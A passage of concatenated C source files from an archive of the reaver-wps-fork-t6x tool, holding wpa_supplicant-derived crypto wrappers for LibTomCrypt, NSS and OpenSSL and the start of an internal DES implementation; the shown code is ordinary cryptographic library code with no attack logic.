(hmac_done(&ctx->u.hmac, mac, &clen) != CRYPT_OK) { os_free(ctx); return -1; } *len = clen; break; default: ret = -2; break; } os_free(ctx); return ret; } struct crypto_cipher { int rc4; union { symmetric_CBC cbc; struct { size_t used_bytes; u8 key[16]; size_t keylen; } rc4; } u; }; struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg, const u8 *iv, const u8 *key, size_t key_len) { struct crypto_cipher *ctx; int idx, res, rc4 = 0; switch (alg) { case CRYPTO_CIPHER_ALG_AES: idx = find_cipher("aes"); break; case CRYPTO_CIPHER_ALG_3DES: idx = find_cipher("3des"); break; case CRYPTO_CIPHER_ALG_DES: idx = find_cipher("des"); break; case CRYPTO_CIPHER_ALG_RC2: idx = find_cipher("rc2"); break; case CRYPTO_CIPHER_ALG_RC4: idx = -1; rc4 = 1; break; default: return NULL; } ctx = os_zalloc(sizeof(*ctx)); if (ctx == NULL) return NULL; if (rc4) { ctx->rc4 = 1; if (key_len > sizeof(ctx->u.rc4.key)) { os_free(ctx); return NULL; } ctx->u.rc4.keylen = key_len; os_memcpy(ctx->u.rc4.key, key, key_len); } else { res = cbc_start(idx, iv, key, key_len, 0, &ctx->u.cbc); if (res != CRYPT_OK) { wpa_printf(MSG_DEBUG, "LibTomCrypt: Cipher start " "failed: %s", error_to_string(res)); os_free(ctx); return NULL; } } return ctx; } int crypto_cipher_encrypt(struct crypto_cipher *ctx, const u8 *plain, u8 *crypt, size_t len) { int res; if (ctx->rc4) { if (plain != crypt) os_memcpy(crypt, plain, len); rc4_skip(ctx->u.rc4.key, ctx->u.rc4.keylen, ctx->u.rc4.used_bytes, crypt, len); ctx->u.rc4.used_bytes += len; return 0; } res = cbc_encrypt(plain, crypt, len, &ctx->u.cbc); if (res != CRYPT_OK) { wpa_printf(MSG_DEBUG, "LibTomCrypt: CBC encryption " "failed: %s", error_to_string(res)); return -1; } return 0; } int crypto_cipher_decrypt(struct crypto_cipher *ctx, const u8 *crypt, u8 *plain, size_t len) { int res; if (ctx->rc4) { if (plain != crypt) os_memcpy(plain, crypt, len); rc4_skip(ctx->u.rc4.key, ctx->u.rc4.keylen, ctx->u.rc4.used_bytes, plain, len); ctx->u.rc4.used_bytes += len; return 0; } res = cbc_decrypt(crypt, plain, len, &ctx->u.cbc); if (res != CRYPT_OK) { wpa_printf(MSG_DEBUG, "LibTomCrypt: CBC decryption " "failed: %s", error_to_string(res)); return -1; } return 0; } void crypto_cipher_deinit(struct crypto_cipher *ctx) { if (!ctx->rc4) cbc_done(&ctx->u.cbc); os_free(ctx); } struct crypto_public_key { rsa_key rsa; }; struct crypto_private_key { rsa_key rsa; }; struct crypto_public_key * crypto_public_key_import(const u8 *key, size_t len) { int res; struct crypto_public_key *pk; pk = os_zalloc(sizeof(*pk)); if (pk == NULL) return NULL; res = rsa_import(key, len, &pk->rsa); if (res != CRYPT_OK) { wpa_printf(MSG_ERROR, "LibTomCrypt: Failed to import " "public key (res=%d '%s')", res, error_to_string(res)); os_free(pk); return NULL; } if (pk->rsa.type != PK_PUBLIC) { wpa_printf(MSG_ERROR, "LibTomCrypt: Public key was not of " "correct type"); rsa_free(&pk->rsa); os_free(pk); return NULL; } return pk; } struct crypto_private_key * crypto_private_key_import(const u8 *key, size_t len, const char *passwd) { int res; struct crypto_private_key *pk; pk = os_zalloc(sizeof(*pk)); if (pk == NULL) return NULL; res = rsa_import(key, len, &pk->rsa); if (res != CRYPT_OK) { wpa_printf(MSG_ERROR, "LibTomCrypt: Failed to import " "private key (res=%d '%s')", res, error_to_string(res)); os_free(pk); return NULL; } if (pk->rsa.type != PK_PRIVATE) { wpa_printf(MSG_ERROR, "LibTomCrypt: Private key was not of " "correct type"); rsa_free(&pk->rsa); os_free(pk); return NULL; } return pk; } struct crypto_public_key * crypto_public_key_from_cert(const u8 *buf, size_t len) { /* No X.509 support in LibTomCrypt */ return NULL; } static int pkcs1_generate_encryption_block(u8 block_type, size_t modlen, const u8 *in, size_t inlen, u8 *out, size_t *outlen) { size_t ps_len; u8 *pos; /* * PKCS #1 v1.5, 8.1: * * EB = 00 || BT || PS || 00 || D * BT = 00 or 01 for private-key operation; 02 for public-key operation * PS = k-3-||D||; at least eight octets * (BT=0: PS=0x00, BT=1: PS=0xff, BT=2: PS=pseudorandom non-zero) * k = length of modulus in octets (modlen) */ if (modlen < 12 || modlen > *outlen || inlen > modlen - 11) { wpa_printf(MSG_DEBUG, "PKCS #1: %s - Invalid buffer " "lengths (modlen=%lu outlen=%lu inlen=%lu)", __func__, (unsigned long) modlen, (unsigned long) *outlen, (unsigned long) inlen); return -1; } pos = out; *pos++ = 0x00; *pos++ = block_type; /* BT */ ps_len = modlen - inlen - 3; switch (block_type) { case 0: os_memset(pos, 0x00, ps_len); pos += ps_len; break; case 1: os_memset(pos, 0xff, ps_len); pos += ps_len; break; case 2: if (os_get_random(pos, ps_len) < 0) { wpa_printf(MSG_DEBUG, "PKCS #1: %s - Failed to get " "random data for PS", __func__); return -1; } while (ps_len--) { if (*pos == 0x00) *pos = 0x01; pos++; } break; default: wpa_printf(MSG_DEBUG, "PKCS #1: %s - Unsupported block type " "%d", __func__, block_type); return -1; } *pos++ = 0x00; os_memcpy(pos, in, inlen); /* D */ return 0; } static int crypto_rsa_encrypt_pkcs1(int block_type, rsa_key *key, int key_type, const u8 *in, size_t inlen, u8 *out, size_t *outlen) { unsigned long len, modlen; int res; modlen = mp_unsigned_bin_size(key->N); if (pkcs1_generate_encryption_block(block_type, modlen, in, inlen, out, outlen) < 0) return -1; len = *outlen; res = rsa_exptmod(out, modlen, out, &len, key_type, key); if (res != CRYPT_OK) { wpa_printf(MSG_DEBUG, "LibTomCrypt: rsa_exptmod failed: %s", error_to_string(res)); return -1; } *outlen = len; return 0; } int crypto_public_key_encrypt_pkcs1_v15(struct crypto_public_key *key, const u8 *in, size_t inlen, u8 *out, size_t *outlen) { return crypto_rsa_encrypt_pkcs1(2, &key->rsa, PK_PUBLIC, in, inlen, out, outlen); } int crypto_private_key_sign_pkcs1(struct crypto_private_key *key, const u8 *in, size_t inlen, u8 *out, size_t *outlen) { return crypto_rsa_encrypt_pkcs1(1, &key->rsa, PK_PRIVATE, in, inlen, out, outlen); } void crypto_public_key_free(struct crypto_public_key *key) { if (key) { rsa_free(&key->rsa); os_free(key); } } void crypto_private_key_free(struct crypto_private_key *key) { if (key) { rsa_free(&key->rsa); os_free(key); } } int crypto_public_key_decrypt_pkcs1(struct crypto_public_key *key, const u8 *crypt, size_t crypt_len, u8 *plain, size_t *plain_len) { int res; unsigned long len; u8 *pos; len = *plain_len; res = rsa_exptmod(crypt, crypt_len, plain, &len, PK_PUBLIC, &key->rsa); if (res != CRYPT_OK) { wpa_printf(MSG_DEBUG, "LibTomCrypt: rsa_exptmod failed: %s", error_to_string(res)); return -1; } /* * PKCS #1 v1.5, 8.1: * * EB = 00 || BT || PS || 00 || D * BT = 01 * PS = k-3-||D|| times FF * k = length of modulus in octets */ if (len < 3 + 8 + 16 /* min hash len */ || plain[0] != 0x00 || plain[1] != 0x01 || plain[2] != 0xff) { wpa_printf(MSG_INFO, "LibTomCrypt: Invalid signature EB " "structure"); return -1; } pos = plain + 3; while (pos < plain + len && *pos == 0xff) pos++; if (pos - plain - 2 < 8) { /* PKCS #1 v1.5, 8.1: At least eight octets long PS */ wpa_printf(MSG_INFO, "LibTomCrypt: Too short signature " "padding"); return -1; } if (pos + 16 /* min hash len */ >= plain + len || *pos != 0x00) { wpa_printf(MSG_INFO, "LibTomCrypt: Invalid signature EB " "structure (2)"); return -1; } pos++; len -= pos - plain; /* Strip PKCS #1 header */ os_memmove(plain, pos, len); *plain_len = len; return 0; } int crypto_global_init(void) { ltc_mp = tfm_desc; /* TODO: only register algorithms that are really needed */ if (register_hash(&md4_desc) < 0 || register_hash(&md5_desc) < 0 || register_hash(&sha1_desc) < 0 || register_cipher(&aes_desc) < 0 || register_cipher(&des_desc) < 0 || register_cipher(&des3_desc) < 0) { wpa_printf(MSG_ERROR, "TLSv1: Failed to register " "hash/cipher functions"); return -1; } return 0; } void crypto_global_deinit(void) { } #ifdef CONFIG_MODEXP int crypto_mod_exp(const u8 *base, size_t base_len, const u8 *power, size_t power_len, const u8 *modulus, size_t modulus_len, u8 *result, size_t *result_len) { void *b, *p, *m, *r; if (mp_init_multi(&b, &p, &m, &r, NULL) != CRYPT_OK) return -1; if (mp_read_unsigned_bin(b, (u8 *) base, base_len) != CRYPT_OK || mp_read_unsigned_bin(p, (u8 *) power, power_len) != CRYPT_OK || mp_read_unsigned_bin(m, (u8 *) modulus, modulus_len) != CRYPT_OK) goto fail; if (mp_exptmod(b, p, m, r) != CRYPT_OK) goto fail; *result_len = mp_unsigned_bin_size(r); if (mp_to_unsigned_bin(r, result) != CRYPT_OK) goto fail; mp_clear_multi(b, p, m, r, NULL); return 0; fail: mp_clear_multi(b, p, m, r, NULL); return -1; } #endif /* CONFIG_MODEXP */ reaver-wps-fork-t6x-1.6.6/src/crypto/crypto_none.c000077500000000000000000000012361363372615500221270ustar00rootroot00000000000000/* * WPA Supplicant / Empty template functions for crypto wrapper * Copyright (c) 2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto.h" int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { return 0; } void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher) { } reaver-wps-fork-t6x-1.6.6/src/crypto/crypto_nss.c000077500000000000000000000100501363372615500217650ustar00rootroot00000000000000/* * Crypto wrapper functions for NSS * Copyright (c) 2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include #include #include #include #include #include #include #include #include #include "common.h" #include "crypto.h" static int nss_hash(HASH_HashType type, unsigned int max_res_len, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { HASHContext *ctx; size_t i; unsigned int reslen; ctx = HASH_Create(type); if (ctx == NULL) return -1; HASH_Begin(ctx); for (i = 0; i < num_elem; i++) HASH_Update(ctx, addr[i], len[i]); HASH_End(ctx, mac, &reslen, max_res_len); HASH_Destroy(ctx); return 0; } void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher) { PK11Context *ctx = NULL; PK11SlotInfo *slot; SECItem *param = NULL; PK11SymKey *symkey = NULL; SECItem item; int olen; u8 pkey[8], next, tmp; int i; /* Add parity bits to the key */ next = 0; for (i = 0; i < 7; i++) { tmp = key[i]; pkey[i] = (tmp >> i) | next | 1; next = tmp << (7 - i); } pkey[i] = next | 1; slot = PK11_GetBestSlot(CKM_DES_ECB, NULL); if (slot == NULL) { wpa_printf(MSG_ERROR, "NSS: PK11_GetBestSlot failed"); goto out; } item.type = siBuffer; item.data = pkey; item.len = 8; symkey = PK11_ImportSymKey(slot, CKM_DES_ECB, PK11_OriginDerive, CKA_ENCRYPT, &item, NULL); if (symkey == NULL) { wpa_printf(MSG_ERROR, "NSS: PK11_ImportSymKey failed"); goto out; } param = PK11_GenerateNewParam(CKM_DES_ECB, symkey); if (param == NULL) { wpa_printf(MSG_ERROR, "NSS: PK11_GenerateNewParam failed"); goto out; } ctx = PK11_CreateContextBySymKey(CKM_DES_ECB, CKA_ENCRYPT, symkey, param); if (ctx == NULL) { wpa_printf(MSG_ERROR, "NSS: PK11_CreateContextBySymKey(" "CKM_DES_ECB) failed"); goto out; } if (PK11_CipherOp(ctx, cypher, &olen, 8, (void *) clear, 8) != SECSuccess) { wpa_printf(MSG_ERROR, "NSS: PK11_CipherOp failed"); goto out; } out: if (ctx) PK11_DestroyContext(ctx, PR_TRUE); if (symkey) PK11_FreeSymKey(symkey); if (param) SECITEM_FreeItem(param, PR_TRUE); } int rc4_skip(const u8 *key, size_t keylen, size_t skip, u8 *data, size_t data_len) { return -1; } int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { return nss_hash(HASH_AlgMD5, 16, num_elem, addr, len, mac); } int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { return nss_hash(HASH_AlgSHA1, 20, num_elem, addr, len, mac); } int sha256_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { return nss_hash(HASH_AlgSHA256, 32, num_elem, addr, len, mac); } void * aes_encrypt_init(const u8 *key, size_t len) { return NULL; } void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt) { } void aes_encrypt_deinit(void *ctx) { } void * aes_decrypt_init(const u8 *key, size_t len) { return NULL; } void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain) { } void aes_decrypt_deinit(void *ctx) { } int crypto_mod_exp(const u8 *base, size_t base_len, const u8 *power, size_t power_len, const u8 *modulus, size_t modulus_len, u8 *result, size_t *result_len) { return -1; } struct crypto_cipher { }; struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg, const u8 *iv, const u8 *key, size_t key_len) { return NULL; } int crypto_cipher_encrypt(struct crypto_cipher *ctx, const u8 *plain, u8 *crypt, size_t len) { return -1; } int crypto_cipher_decrypt(struct crypto_cipher *ctx, const u8 *crypt, u8 *plain, size_t len) { return -1; } void crypto_cipher_deinit(struct crypto_cipher *ctx) { } reaver-wps-fork-t6x-1.6.6/src/crypto/crypto_openssl.c000077500000000000000000000260711363372615500226570ustar00rootroot00000000000000/* * WPA Supplicant / wrapper functions for libcrypto * Copyright (c) 2004-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include #include #include #include #include #include #include #include "common.h" #include "wpabuf.h" #include "dh_group5.h" #include "crypto.h" #if OPENSSL_VERSION_NUMBER < 0x00907000 #define DES_key_schedule des_key_schedule #define DES_cblock des_cblock #define DES_set_key(key, schedule) des_set_key((key), *(schedule)) #define DES_ecb_encrypt(input, output, ks, enc) \ des_ecb_encrypt((input), (output), *(ks), (enc)) #endif /* openssl < 0.9.7 */ static BIGNUM * get_group5_prime(void) { #if OPENSSL_VERSION_NUMBER < 0x00908000 static const unsigned char RFC3526_PRIME_1536[] = { 0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xC9,0x0F,0xDA,0xA2, 0x21,0x68,0xC2,0x34,0xC4,0xC6,0x62,0x8B,0x80,0xDC,0x1C,0xD1, 0x29,0x02,0x4E,0x08,0x8A,0x67,0xCC,0x74,0x02,0x0B,0xBE,0xA6, 0x3B,0x13,0x9B,0x22,0x51,0x4A,0x08,0x79,0x8E,0x34,0x04,0xDD, 0xEF,0x95,0x19,0xB3,0xCD,0x3A,0x43,0x1B,0x30,0x2B,0x0A,0x6D, 0xF2,0x5F,0x14,0x37,0x4F,0xE1,0x35,0x6D,0x6D,0x51,0xC2,0x45, 0xE4,0x85,0xB5,0x76,0x62,0x5E,0x7E,0xC6,0xF4,0x4C,0x42,0xE9, 0xA6,0x37,0xED,0x6B,0x0B,0xFF,0x5C,0xB6,0xF4,0x06,0xB7,0xED, 0xEE,0x38,0x6B,0xFB,0x5A,0x89,0x9F,0xA5,0xAE,0x9F,0x24,0x11, 0x7C,0x4B,0x1F,0xE6,0x49,0x28,0x66,0x51,0xEC,0xE4,0x5B,0x3D, 0xC2,0x00,0x7C,0xB8,0xA1,0x63,0xBF,0x05,0x98,0xDA,0x48,0x36, 0x1C,0x55,0xD3,0x9A,0x69,0x16,0x3F,0xA8,0xFD,0x24,0xCF,0x5F, 0x83,0x65,0x5D,0x23,0xDC,0xA3,0xAD,0x96,0x1C,0x62,0xF3,0x56, 0x20,0x85,0x52,0xBB,0x9E,0xD5,0x29,0x07,0x70,0x96,0x96,0x6D, 0x67,0x0C,0x35,0x4E,0x4A,0xBC,0x98,0x04,0xF1,0x74,0x6C,0x08, 0xCA,0x23,0x73,0x27,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF, }; return BN_bin2bn(RFC3526_PRIME_1536, sizeof(RFC3526_PRIME_1536), NULL); #else /* openssl < 0.9.8 */ return get_rfc3526_prime_1536(NULL); #endif /* openssl < 0.9.8 */ } #if OPENSSL_VERSION_NUMBER < 0x00908000 #ifndef OPENSSL_NO_SHA256 #ifndef OPENSSL_FIPS #define NO_SHA256_WRAPPER #endif #endif #endif /* openssl < 0.9.8 */ #ifdef OPENSSL_NO_SHA256 #define NO_SHA256_WRAPPER #endif static int openssl_digest_vector(const EVP_MD *type, int non_fips, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { EVP_MD_CTX ctx; size_t i; unsigned int mac_len; EVP_MD_CTX_init(&ctx); #ifdef CONFIG_FIPS #ifdef OPENSSL_FIPS if (non_fips) EVP_MD_CTX_set_flags(&ctx, EVP_MD_CTX_FLAG_NON_FIPS_ALLOW); #endif /* OPENSSL_FIPS */ #endif /* CONFIG_FIPS */ if (!EVP_DigestInit_ex(&ctx, type, NULL)) { wpa_printf(MSG_ERROR, "OpenSSL: EVP_DigestInit_ex failed: %s", ERR_error_string(ERR_get_error(), NULL)); return -1; } for (i = 0; i < num_elem; i++) { if (!EVP_DigestUpdate(&ctx, addr[i], len[i])) { wpa_printf(MSG_ERROR, "OpenSSL: EVP_DigestUpdate " "failed: %s", ERR_error_string(ERR_get_error(), NULL)); return -1; } } if (!EVP_DigestFinal(&ctx, mac, &mac_len)) { wpa_printf(MSG_ERROR, "OpenSSL: EVP_DigestFinal failed: %s", ERR_error_string(ERR_get_error(), NULL)); return -1; } return 0; } int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { return openssl_digest_vector(EVP_md4(), 0, num_elem, addr, len, mac); } void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher) { u8 pkey[8], next, tmp; int i; DES_key_schedule ks; /* Add parity bits to the key */ next = 0; for (i = 0; i < 7; i++) { tmp = key[i]; pkey[i] = (tmp >> i) | next | 1; next = tmp << (7 - i); } pkey[i] = next | 1; DES_set_key(&pkey, &ks); DES_ecb_encrypt((DES_cblock *) clear, (DES_cblock *) cypher, &ks, DES_ENCRYPT); } int rc4_skip(const u8 *key, size_t keylen, size_t skip, u8 *data, size_t data_len) { #ifdef OPENSSL_NO_RC4 return -1; #else /* OPENSSL_NO_RC4 */ EVP_CIPHER_CTX ctx; int outl; int res = -1; unsigned char skip_buf[16]; EVP_CIPHER_CTX_init(&ctx); if (!EVP_CIPHER_CTX_set_padding(&ctx, 0) || !EVP_CipherInit_ex(&ctx, EVP_rc4(), NULL, NULL, NULL, 1) || !EVP_CIPHER_CTX_set_key_length(&ctx, keylen) || !EVP_CipherInit_ex(&ctx, NULL, NULL, key, NULL, 1)) goto out; while (skip >= sizeof(skip_buf)) { size_t len = skip; if (len > sizeof(skip_buf)) len = sizeof(skip_buf); if (!EVP_CipherUpdate(&ctx, skip_buf, &outl, skip_buf, len)) goto out; skip -= len; } if (EVP_CipherUpdate(&ctx, data, &outl, data, data_len)) res = 0; out: EVP_CIPHER_CTX_cleanup(&ctx); return res; #endif /* OPENSSL_NO_RC4 */ } int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { return openssl_digest_vector(EVP_md5(), 0, num_elem, addr, len, mac); } #ifdef CONFIG_FIPS int md5_vector_non_fips_allow(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { return openssl_digest_vector(EVP_md5(), 1, num_elem, addr, len, mac); } #endif /* CONFIG_FIPS */ int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { return openssl_digest_vector(EVP_sha1(), 0, num_elem, addr, len, mac); } #ifndef NO_SHA256_WRAPPER int sha256_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { return openssl_digest_vector(EVP_sha256(), 0, num_elem, addr, len, mac); } #endif /* NO_SHA256_WRAPPER */ void * aes_encrypt_init(const u8 *key, size_t len) { AES_KEY *ak; ak = os_malloc(sizeof(*ak)); if (ak == NULL) return NULL; if (AES_set_encrypt_key(key, 8 * len, ak) < 0) { os_free(ak); return NULL; } return ak; } void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt) { AES_encrypt(plain, crypt, ctx); } void aes_encrypt_deinit(void *ctx) { os_free(ctx); } void * aes_decrypt_init(const u8 *key, size_t len) { AES_KEY *ak; ak = os_malloc(sizeof(*ak)); if (ak == NULL) return NULL; if (AES_set_decrypt_key(key, 8 * len, ak) < 0) { os_free(ak); return NULL; } return ak; } void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain) { AES_decrypt(crypt, plain, ctx); } void aes_decrypt_deinit(void *ctx) { os_free(ctx); } int crypto_mod_exp(const u8 *base, size_t base_len, const u8 *power, size_t power_len, const u8 *modulus, size_t modulus_len, u8 *result, size_t *result_len) { BIGNUM *bn_base, *bn_exp, *bn_modulus, *bn_result; int ret = -1; BN_CTX *ctx; ctx = BN_CTX_new(); if (ctx == NULL) return -1; bn_base = BN_bin2bn(base, base_len, NULL); bn_exp = BN_bin2bn(power, power_len, NULL); bn_modulus = BN_bin2bn(modulus, modulus_len, NULL); bn_result = BN_new(); if (bn_base == NULL || bn_exp == NULL || bn_modulus == NULL || bn_result == NULL) goto error; if (BN_mod_exp(bn_result, bn_base, bn_exp, bn_modulus, ctx) != 1) goto error; *result_len = BN_bn2bin(bn_result, result); ret = 0; error: BN_free(bn_base); BN_free(bn_exp); BN_free(bn_modulus); BN_free(bn_result); BN_CTX_free(ctx); return ret; } struct crypto_cipher { EVP_CIPHER_CTX enc; EVP_CIPHER_CTX dec; }; struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg, const u8 *iv, const u8 *key, size_t key_len) { struct crypto_cipher *ctx; const EVP_CIPHER *cipher; ctx = os_zalloc(sizeof(*ctx)); if (ctx == NULL) return NULL; switch (alg) { #ifndef OPENSSL_NO_RC4 case CRYPTO_CIPHER_ALG_RC4: cipher = EVP_rc4(); break; #endif /* OPENSSL_NO_RC4 */ #ifndef OPENSSL_NO_AES case CRYPTO_CIPHER_ALG_AES: switch (key_len) { case 16: cipher = EVP_aes_128_cbc(); break; case 24: cipher = EVP_aes_192_cbc(); break; case 32: cipher = EVP_aes_256_cbc(); break; default: os_free(ctx); return NULL; } break; #endif /* OPENSSL_NO_AES */ #ifndef OPENSSL_NO_DES case CRYPTO_CIPHER_ALG_3DES: cipher = EVP_des_ede3_cbc(); break; case CRYPTO_CIPHER_ALG_DES: cipher = EVP_des_cbc(); break; #endif /* OPENSSL_NO_DES */ #ifndef OPENSSL_NO_RC2 case CRYPTO_CIPHER_ALG_RC2: cipher = EVP_rc2_ecb(); break; #endif /* OPENSSL_NO_RC2 */ default: os_free(ctx); return NULL; } EVP_CIPHER_CTX_init(&ctx->enc); EVP_CIPHER_CTX_set_padding(&ctx->enc, 0); if (!EVP_EncryptInit_ex(&ctx->enc, cipher, NULL, NULL, NULL) || !EVP_CIPHER_CTX_set_key_length(&ctx->enc, key_len) || !EVP_EncryptInit_ex(&ctx->enc, NULL, NULL, key, iv)) { EVP_CIPHER_CTX_cleanup(&ctx->enc); os_free(ctx); return NULL; } EVP_CIPHER_CTX_init(&ctx->dec); EVP_CIPHER_CTX_set_padding(&ctx->dec, 0); if (!EVP_DecryptInit_ex(&ctx->dec, cipher, NULL, NULL, NULL) || !EVP_CIPHER_CTX_set_key_length(&ctx->dec, key_len) || !EVP_DecryptInit_ex(&ctx->dec, NULL, NULL, key, iv)) { EVP_CIPHER_CTX_cleanup(&ctx->enc); EVP_CIPHER_CTX_cleanup(&ctx->dec); os_free(ctx); return NULL; } return ctx; } int crypto_cipher_encrypt(struct crypto_cipher *ctx, const u8 *plain, u8 *crypt, size_t len) { int outl; if (!EVP_EncryptUpdate(&ctx->enc, crypt, &outl, plain, len)) return -1; return 0; } int crypto_cipher_decrypt(struct crypto_cipher *ctx, const u8 *crypt, u8 *plain, size_t len) { int outl; outl = len; if (!EVP_DecryptUpdate(&ctx->dec, plain, &outl, crypt, len)) return -1; return 0; } void crypto_cipher_deinit(struct crypto_cipher *ctx) { EVP_CIPHER_CTX_cleanup(&ctx->enc); EVP_CIPHER_CTX_cleanup(&ctx->dec); os_free(ctx); } void * dh5_init(struct wpabuf **priv, struct wpabuf **publ) { DH *dh; struct wpabuf *pubkey = NULL, *privkey = NULL; size_t publen, privlen; *priv = NULL; *publ = NULL; dh = DH_new(); if (dh == NULL) return NULL; dh->g = BN_new(); if (dh->g == NULL || BN_set_word(dh->g, 2) != 1) goto err; dh->p = get_group5_prime(); if (dh->p == NULL) goto err; if (DH_generate_key(dh) != 1) goto err; publen = BN_num_bytes(dh->pub_key); pubkey = wpabuf_alloc(publen); if (pubkey == NULL) goto err; privlen = BN_num_bytes(dh->priv_key); privkey = wpabuf_alloc(privlen); if (privkey == NULL) goto err; BN_bn2bin(dh->pub_key, wpabuf_put(pubkey, publen)); BN_bn2bin(dh->priv_key, wpabuf_put(privkey, privlen)); *priv = privkey; *publ = pubkey; return dh; err: wpabuf_free(pubkey); wpabuf_free(privkey); DH_free(dh); return NULL; } struct wpabuf * dh5_derive_shared(void *ctx, const struct wpabuf *peer_public, const struct wpabuf *own_private) { BIGNUM *pub_key; struct wpabuf *res = NULL; size_t rlen; DH *dh = ctx; int keylen; if (ctx == NULL) return NULL; pub_key = BN_bin2bn(wpabuf_head(peer_public), wpabuf_len(peer_public), NULL); if (pub_key == NULL) return NULL; rlen = DH_size(dh); res = wpabuf_alloc(rlen); if (res == NULL) goto err; keylen = DH_compute_key(wpabuf_mhead(res), pub_key, dh); if (keylen < 0) goto err; wpabuf_put(res, keylen); BN_free(pub_key); return res; err: BN_free(pub_key); wpabuf_free(res); return NULL; } void dh5_free(void *ctx) { DH *dh; if (ctx == NULL) return; dh = ctx; DH_free(dh); } reaver-wps-fork-t6x-1.6.6/src/crypto/des-internal.c000077500000000000000000000360551363372615500221640ustar00rootroot00000000000000/* * DES and 3DES-EDE ciphers * * Modifications to LibTomCrypt implementation: * Copyright (c) 2006-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto.h" #include "des_i.h" /* * This implementation is based on a DES implementation included in * LibTomCrypt. The version here is modified to fit in wpa_supplicant/hostapd * coding style. */ /* LibTomCrypt, modular cryptographic library -- Tom St Denis * * LibTomCrypt is a library that provides various cryptographic * algorithms in a highly modular and flexible manner. * * The library is free for all purposes without any express * guarantee it works. * * Tom St Denis, tomstdenis@gmail.com, http://libtomcrypt.com */ /** DES code submitted by Dobes Vandermeer */ #define ROLc(x, y) \ ((((unsigned long) (x) << (unsigned long) ((y) & 31)) | \ (((unsigned long) (x) & 0xFFFFFFFFUL) >> \ (unsigned long) (32 - ((y) & 31)))) & 0xFFFFFFFFUL) #define RORc(x, y) \ (((((unsigned long) (x) & 0xFFFFFFFFUL) >> \ (unsigned long) ((y) & 31)) | \ ((unsigned long) (x) << (unsigned long) (32 - ((y) & 31)))) & \ 0xFFFFFFFFUL) static const u32 bytebit[8] = { 0200, 0100, 040, 020, 010, 04, 02, 01 }; static const u32 bigbyte[24] = { 0x800000UL, 0x400000UL, 0x200000UL, 0x100000UL, 0x80000UL, 0x40000UL, 0x20000UL, 0x10000UL, 0x8000UL, 0x4000UL, 0x2000UL, 0x1000UL, 0x800UL, 0x400UL, 0x200UL, 0x100UL, 0x80UL, 0x40UL, 0x20UL, 0x10UL, 0x8UL, 0x4UL, 0x2UL, 0x1L }; /* Use the key schedule specific in the standard (ANSI X3.92-1981) */ static const u8 pc1[56] = { 56, 48, 40, 32, 24, 16, 8, 0, 57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 60, 52, 44, 36, 28, 20, 12, 4, 27, 19, 11, 3 }; static const u8 totrot[16] = { 1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28 }; static const u8 pc2[48] = { 13, 16, 10, 23, 0, 4, 2, 27, 14, 5, 20, 9, 22, 18, 11, 3, 25, 7, 15, 6, 26, 19, 12, 1, 40, 51, 30, 36, 46, 54, 29, 39, 50, 44, 32, 47, 43, 48, 38, 55, 33, 52, 45, 41, 49, 35, 28, 31 }; static const u32 SP1[64] = { 0x01010400UL, 0x00000000UL, 0x00010000UL, 0x01010404UL, 0x01010004UL, 0x00010404UL, 0x00000004UL, 0x00010000UL, 0x00000400UL, 0x01010400UL, 0x01010404UL, 0x00000400UL, 0x01000404UL, 0x01010004UL, 0x01000000UL, 0x00000004UL, 0x00000404UL, 0x01000400UL, 0x01000400UL, 0x00010400UL, 0x00010400UL, 0x01010000UL, 0x01010000UL, 0x01000404UL, 0x00010004UL, 0x01000004UL, 0x01000004UL, 0x00010004UL, 0x00000000UL, 0x00000404UL, 0x00010404UL, 0x01000000UL, 0x00010000UL, 0x01010404UL, 0x00000004UL, 0x01010000UL, 0x01010400UL, 0x01000000UL, 0x01000000UL, 0x00000400UL, 0x01010004UL, 0x00010000UL, 0x00010400UL, 0x01000004UL, 0x00000400UL, 0x00000004UL, 0x01000404UL, 0x00010404UL, 0x01010404UL, 0x00010004UL, 0x01010000UL, 0x01000404UL, 0x01000004UL, 0x00000404UL, 0x00010404UL, 0x01010400UL, 